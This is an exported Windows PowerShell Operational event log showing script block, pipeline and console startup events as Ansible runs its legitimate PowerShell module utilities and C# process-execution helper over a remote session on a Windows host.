"powershell_modules": {"Ansible.ModuleUtils.Legacy": "IyBDb3B5cmlnaHQgKGMpLCBNaWNoYWVsIERlSGFhbiA8bWljaGFlbC5kZWhhYW5AZ21haWwuY29tPiwgMjAxNCwgYW5kIG90aGVycwojIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UgKHNlZSBsaWNlbnNlcy9zaW1wbGlmaWVkX2JzZC50eHQgb3IgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9CU0QtMi1DbGF1c2UpCgpTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiAyLjAKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKRnVuY3Rpb24gU2V0LUF0dHIoJG9iaiwgJG5hbWUsICR2YWx1ZSkKewo8IwogICAgLlNZTk9QU0lTCiAgICBIZWxwZXIgZnVuY3Rpb24gdG8gc2V0IGFuICJhdHRyaWJ1dGUiIG9uIGEgcHNvYmplY3QgaW5zdGFuY2UgaW4gUG93ZXJTaGVsbC4KICAgIFRoaXMgaXMgYSBjb252ZW5pZW5jZSB0byBtYWtlIGFkZGluZyBNZW1iZXJzIHRvIHRoZSBvYmplY3QgZWFzaWVyIGFuZAogICA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dlbGwuCiM+CiAgICAjIENoZWNrIGlmIHRoZSBwcm92aWRlZCBNZW1iZXIgJG5hbWUgb3IgYWxpYXNlcyBleGlzdCBpbiAkb2JqIGFuZCByZXR1cm4gaXQgb3IgdGhlIGRlZmF1bHQuCiAgICB0cnkgewoKICAgICAgICAkZm91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0R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JpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICA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gPSBOZXctT2JqZWN0IHBzb2JqZWN0CiAgICBJZiAoJGFyZ3VtZW50cy5MZW5ndGggLWd0IDApCiAgICB7CiAgICAgICAgJHBhcmFtcyA9IEdldC1Db250ZW50ICRhcmd1bWVudHNbMF0gfCBDb252ZXJ0RnJvbS1Kc29uCiAgICB9CiAgICBFbHNlIHsKICAgICAgICAkcGFyYW1zID0gJGNvbXBsZXhfYXJncwogICAgfQogICAgJGNoZWNrX21vZGUgPSBHZXQtQW5zaWJsZVBhcmFtIC1vYmogJHBhcmFtcyAtbmFtZSAiX2Fuc2libGVfY2hlY2tfbW9kZSIgLXR5cGUgImJvb2wiIC1kZWZhdWx0ICRmYWxzZQogICAgSWYgKCRjaGVja19tb2RlIC1hbmQgLW5vdCAkc3VwcG9ydHNfY2hlY2tfbW9kZSkKICAgIHsKICAgICAgICBFeGl0LUpzb24gQHsKICAgICAgICAgICAgc2tpcHBlZCA9ICR0cnVlCiAgICAgICAgICAgIGNoYW5nZWQgPSAkZmFsc2UKICAgICAgICAgICAgbXNnID0gInJlbW90ZSBtb2R1bGUgZG9lcyBub3Qgc3VwcG9ydCBjaGVjayBtb2RlIgogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcGFyYW1zCn0KCgpGdW5
ScriptBlock ID: e12dfeb2-478f-4263-b158-b7e1a94bc5a7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2179 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1064 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0003-45e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2178 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1440 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0005-5407-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3276 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2177 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 4624 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:49 AM | 61e00a24-ee3b-0005-5407-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2176 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1440 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:49 AM | 61e00a24-ee3b-0005-5407-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2175 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4864 | 764 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:02 AM | 61e00a24-ee3b-0002-7a0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4864 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2174 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4864 | 3512 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:02 AM | 61e00a24-ee3b-0002-7a0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2173 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4864 | 764 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:02 AM | 61e00a24-ee3b-0002-7a0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = ea232d32-9ce3-47c1-bbd6-7edaae762376
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = efb641a9-5a63-469b-a295-1697b131fa8e
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2172 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 4264 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:02 AM | 61e00a24-ee3b-0002-790c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
